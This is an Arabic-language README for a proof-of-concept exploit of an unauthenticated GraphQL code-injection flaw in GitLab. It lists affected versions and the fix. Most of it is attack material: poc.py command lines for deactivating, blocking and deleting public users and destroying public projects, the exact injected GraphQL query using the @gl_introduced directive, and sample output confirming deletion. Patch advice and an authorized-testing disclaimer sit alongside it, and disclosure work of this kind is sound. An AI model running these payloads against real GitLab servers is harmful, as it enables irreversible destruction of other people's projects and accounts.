
استغلال لإثبات المفهوم لثغرة حقن تعليمات برمجية عن بُعد دون مصادقة في واجهة برمجة تطبيقات GraphQL الخاصة بـ GitLab، باستخدام استعلامات مصممة خصيصًا لتعديل أو حذف المشاريع والمستخدمين العامة.
| الخطورة | 9.4 حرجة — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H |
| CWE | CWE-94 (التحكم غير السليم في توليد الكود / حقن الكود) |
| المتأثر | GitLab CE/EE >= 18.2, < 18.11.11 · < 19.0.8 · < 19.1.6 · < 19.2.4 |
| الإصلاح | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| الإفصاح | 2026-08-17 |
| HackerOne | 3926431 |
# 1) Benign check — calls Project#touch (updates updated_at, no damage)
python3 poc.py --url https://gitlab.example.com --project group/public-project
# 2) Modify — deactivate a public user (persisted state change, reversible)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# 3) Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
يتمثل الاستغلال في حقن كود عبر الحقل الاحتياطي: إذ يتحول اسم حقل يختاره المهاجم
في استعلام GraphQL إلى استدعاء public_send تعسفي على نموذج ActiveRecord الأساسي
(Project, User, ...). ولأن الحقل الاحتياطي لا يُنشأ إلا عندما يحمل الاستعلام
أيضًا توجيهًا "مستقبليًا" @gl_introduced، فإن هذا التوجيه هو وسيلة الحقن
الأساسية.
| السلسلة | المتأثر | الإصلاح |
|---|---|---|
| 18.x | >= 18.2, < 18.11.11 | 18.11.11 |
| 19.0 | < 19.0.8 | 19.0.8 |
| 19.1 | < 19.1.6 | 19.1.6 |
| 19.2 | < 19.2.4 | 19.2.4 |
يقوم السكربت باكتشاف الإصدار بأفضل جهد ممكن (/api/v4/version مع رمز مميز،
/help، /users/sign_in) ويُبلِّغ ما إذا كان الهدف يقع ضمن النطاقات
المتأثرة.
touch أعلاه. تُرجع النسخة المعرضة للثغرة "touch": true؛ بينما تُرجع النسخة المصلَّحة Field 'touch' doesn't exist on type 'Project'.gl_introduced في مخطط GraphQL (استكشاف /api/graphql). قد تظل النسخ المصلَّحة تُظهره أيضًا، لذا فإن الفحص السلوكي هو المرجع المعتمد.python3 poc.py --url <URL> (--project <ns/proj> | --user <username>)
[--mode check|modify|destroy|delete|custom]
[--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]
| الخيار | الوصف |
|---|---|
--url | عنوان GitLab الأساسي، مثل https://gitlab.example.com |
--project | المسار الكامل لمشروع عام، مثل group/subgroup/project |
--user | اسم مستخدم عام، مثل alice |
--mode | check (افتراضي، touch غير مؤذية) · modify (مستخدم: deactivate، مشروع: touch) · destroy · delete · custom |
--method | اسم الدالة لوضع --mode custom (يجب أن يكون اسم GraphQL صالحًا) |
--token | اختياري: GitLab PRIVATE-TOKEN (اكتشاف الإصدار / المصادقة) |
--version | تخطي الاكتشاف وفرض سلسلة إصدار |
--insecure | تعطيل التحقق من شهادة TLS |
تتطلب الأوضاع التدميرية (modify, destroy, delete) تأكيدًا تفاعليًا
بـ yes.
# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project
# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block
# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm
# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate
# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete
# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
--mode custom --method reload
# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
--token <PRIVATE-TOKEN> --insecure
$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
project(fullPath: "group/public-project") {
name
destroy @gl_introduced(version: "999.0.0")
}
}
[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.
[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).
استجابة النسخة المصلَّحة هي خطأ تحقق عادي في GraphQL:
{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }
[!] Parent object is null -> project/user not found or not visible.
(For projects, use the full path, e.g. group/subgroup/project)
يجب أن يكون الهدف عامًا (رؤية المشروع Public، أو مستخدم يمكن حل ملفه الشخصي
علنًا عبر GraphQL). إذا كان الكائن الأب فارغًا (null)، فلن يتم استدعاء الدالة
أبدًا.
/api/graphql، أو عطِّل
ميزة تصفية الإصدار @gl_introduced إذا لم تكن بحاجة إليها.e283c6ad "منع استدعاء دالة الكائن عند حل الحقل الاحتياطي"يُقدَّم إثبات المفهوم هذا لأغراض البحث الأمني الدفاعي والاختبار المصرح به فقط. لا تشغّله ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.